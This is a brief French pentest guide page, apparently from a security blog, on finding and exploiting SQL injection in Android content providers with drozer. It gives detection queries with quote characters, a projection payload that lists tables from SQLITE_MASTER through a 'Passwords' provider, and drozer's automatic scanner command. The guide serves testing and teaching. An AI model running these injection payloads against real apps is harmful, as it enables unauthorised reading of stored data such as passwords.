> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-mobile/android/guides-outils/outil-drozer/injections-sql-android.md).

# Injections SQL (Android)

## Manuelle dans content provider

### Détection

```
dz> run app.provider.query content://com.example.targetapp.DBContentProvider/Passwords/ --selection "'"

et

dz> run app.provider.query content://com.example.targetapp.DBContentProvider/Passwords/ --projection "'"
```

### Exploitation

<pre><code><strong>dz> run app.provider.query content://com.example.targetapp.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
</strong></code></pre>

### Automatique

```
dz> run scanner.provider.injection -a com.example.targetapp
```